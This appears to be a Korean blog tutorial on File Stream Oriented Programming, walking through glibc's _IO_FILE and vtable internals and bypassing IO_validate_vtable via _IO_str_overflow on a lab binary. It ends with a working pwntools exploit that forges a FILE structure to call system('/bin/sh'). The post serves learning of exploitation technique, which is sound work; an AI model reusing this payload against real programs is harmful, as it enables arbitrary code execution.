[Pwn] FSOP(File Stream Oriented Programming)

코코·2024년 1월 14일
0

pwn

목록 보기
9/10
post-custom-banner

오늘은 FSOP에 대해 알아보려고 한다.
FSOP는 File Stream Oriented Programming 약어로 FILE 구조체를 이용한 공격 기법을 의미한다.



_IO_FILE_PLUS & _IO_FILE

우선 들어가기에 앞서, _IO_FILE_plus 구조체_IO_FILE 구조체를 살펴보자. 해당 구조체들은 fread 함수와 같은 파일 작업을 수행할 때 필요한 정보들을 저장하고 있다.



  • _IO_FILE_plus
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

구조체는 위와 같이 생겼다. _IO_FILE_plus 안에는 FILE 구조체와 _IO_jump_t라는 vtable 포인터가 있다.



다음으로 _IO_FILE 구조체를 살펴보자.

  • _IO_FILE
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_FILE 구조체는 위와 같다. 다양한 멤버 변수들이 존재한다.
_flags 멤버 변수파일에 대한 권한을 의미하는 변수이다. 보통 0xfbad0000으로 한 번쯤 봤던 기억이 있다.


char* _IO_read_ptr    ➡ 읽기 버퍼에 대한 포인터
char* _IO_read_end;	  ➡ 읽기 버퍼의 끝 주소를 담고 있다.
char* _IO_read_base;  ➡ 읽기 버퍼의 시작 주소를 담고 있다.
char* _IO_write_base; ➡ 쓰기 버퍼의 시작 주소를 담고 있다.
char* _IO_write_ptr;  ➡ 쓰기 버퍼에 대한 포인터
char* _IO_write_end;  ➡ 쓰기 버퍼의 끝 주소를 담고 있다.
char* _IO_buf_base;	  ➡ 버퍼의 시작 주소
char* _IO_buf_end;	  ➡ 버퍼의 끝 주소



다음으로 vtable이 무엇인지 살펴보자. _IO_jump_t 구조체는 아래와 같이 생겼다.

  • Struct _IO_jump_t
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

저걸 어디에 어떻게 사용하는지 와닿지 않는다. 한 번 어떻게 사용하는지 코드를 통해 살펴보자!


  • stdio.h
#   define fclose(fp) _IO_new_fclose (fp)

stdio.h 파일로 들어가보면, fclose 함수는 _IO_new_fclose 함수임을 알 수 있다.

  • iofclose.c
int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)

해당 함수가 선언된 부분으로 들어가보면 맨 마지막에 _IO_FINISH 함수를 호출하는 것을 볼 수 있다. _IO_FINISH 함수를 따라가보자.


  • libioP.h
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)

// Check JUMP1, call _IO_JUMPS_FUNC
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

// Check _IO_JUMPS_FUNC
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

// _IO_JUMPS_FILE_plus
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

// _IO_CAST_FIELD_ACCESS
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))

_IO_FINISH 함수를 따라가다보면, 위와 같은 매크로들을 확인할 수 있다.




Bypass IO_validate_vtables

vtable을 통해 함수를 참조하므로, vtable을 변조하여 실행흐름을 바꿀 수 있다.

참고로 이번에 알아볼 기법은 libc2.29버전부터는 사용이 불가능하다.


예제를 통해 살펴보자. 코드는 아래와 같다!

#include <stdio.h>
#include <unistd.h>

FILE *fp;
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  init();
  fp = fopen("/dev/urandom", "r");
  printf("stdout: %p\n", stdout);
  printf("Data: ");
  read(0, fp, 300);
  fclose(fp);
}

아까 위의 분석 내용을 바탕으로 _IO_FINISH 함수 매크로를 따라가다 보면, IO_validate_vtable 함수를 호출하는 것을 볼 수 있었다. 해당 함수에서 vtable의 포인터 값이 유효한 지 체크하는 로직이 존재한다.

바로 확인해보자.🚀 해당 함수는 libioP.h에서 찾아볼 수 있다.

  • IO_validate_vtable(const struct _IO_jump_t *vtable)
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

함수를 보면, section_length 변수에 __libc_IO_vtables 섹션의 크기를 구하고 있다.

이후 아래에서 vtable의 포인터와 __libc_IO_vtable 섹션의 시작 주소를 뺄셈하여, 오프셋(offset)을 구하고 해당 오프셋이 섹션의 크기(section_length)보다 크다면 섹션 안에 포함되어 있지않다고 판단하여 _IO_vtable_check 함수를 호출한다.(_IO_vtable_check 함수는 오류를 발생시킨다.)


따라서 __libc_IO_vtable 섹션에 존재하는 _IO_str_overflow 함수를 사용하여 공격을 수행해야한다.🧨



_IO_str_overflow

_IO_str_overflow는 __libc_IO_vtables 섹션에 존재하는 함수이다.

바로 코드를 살펴보자. _IO_str_overflow 함수는 strops.c에 선언되어있다.

  • strops.c
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);
	      (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

_IO_str_overflow의 전체 코드는 위와 같다.


해당 코드에서 공격에 사용될 부분을 살펴보자.

	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

해당 부분을 보면, new_size를 인자로 fp->_s._allocate_buffer를 호출하고 있다. fp->_s._allocate_buffer를 system 함수의 주소로, new_size 변수를 "/bin/sh"의 주소로 바꿔주면 Shell을 획득할 수 있을 것이다❗



Step1. new_size 인자 설정

우선 new_size 변수를 설정하는 부분부터 살펴보자.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;

new_size 변수는 2 * old_blen + 100으로 설정된다. old_blen은 _IO_blen 매크로에 의해 설정되고, 해당 매크로를 보면, _IO_blen(fp)는 _IO_buf_end - _IO_buf_base를 통해 설정하고 있디.

즉, 2 * ( _IO_buf_end - _IO_buf_base ) + 100이 new_size의 값이다.
따라서 _IO_buf_base에는 0을, _IO_buf_end에는 "/bin/sh" 주소에 -100을 하고, 2로 나눈 값을 넣어주면 된다.

간단하게 표현하면 아래와 같다.

_IO_buf_base = 0
_IO_buf_end = ("/bin/sh"의 주소 - 100) * 2

Step2. 해당 로직으로 이동하기 위한 IF문의 조건을 완성시켜줘야한다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

해당 부분이다. 보통 flush_only값은 0으로 설정된다고 한다. _IO_blen은 아까 new_size 값을 설정하기 위해 ("/bin/sh"의 주소 - 100) * 2 값이 들어있을 것이다.

따라서 pos의 _IO_write_ptr - _IO_write_base이 ("/bin/sh"의 주소 - 100) 2 값보다 크면 조건을 만족하므로 _IO_write_base에는 0을, _IO_write_ptr에는 ("/bin/sh"의 주소 - 100) 2 값과 같거나 큰 값을 넣어주면 조건을 만족시킬 수 있다.

간단하게 표현해보면 아래와 같다.

_IO_write_base = 0
_IO_write_ptr = ("/bin/sh"의 주소 - 100) * 2



Exploit Code

해당 바이너리에서 stdout의 주소를 출력하므로 바로 Libc의 베이스 주소를 구할 수 있다.

  • ex.py
#!/usr/bin/env python3
# Name: bypass_valid_table.py
from pwn import *

p = process('./bypass_valid_vtable', env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

context.log_level = 'debug'

print(p.recvuntil(b'stdout: '))

leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']

print("[*] libc addr : ", hex(libc_base))

payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x3) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP

pause()

p.sendline(payload)

p.interactive()

  • 결과






💡 _lock 변수?
이유는 잘 모르겠지만, 쓰기 권한이 있는 주소를 넣어줘야한다고 한다.
디버깅하다가 봤는데 파일 관련 작업을 할 때, _lock의 주소를 찍어보니 0x0에서 0x1로 바뀐다. 이것 때문에 쓰기 권한이 필요한 주소에 넣어줘야하는 것 같다.


💡 fp->_s._allocate_buffer?
파일 구조체 _IO_FILE, vtable 포인터, 그 바로 뒤에 _allocate_buffer 변수가 존재한다. 따라서 exploit code에서 vtable 뒤에 p64(systme함수 주소)를 넣어준 것이다.

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};




※ 참고
👉 https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
👉 https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
👉 https://dreamhack.io/lecture/courses/272
👉 https://dreamhack.io/forum/qna/812/


※ Download glibc2.27
👉 https://ftp.gnu.org/gnu/glibc/

profile
화이팅!
post-custom-banner

0개의 댓글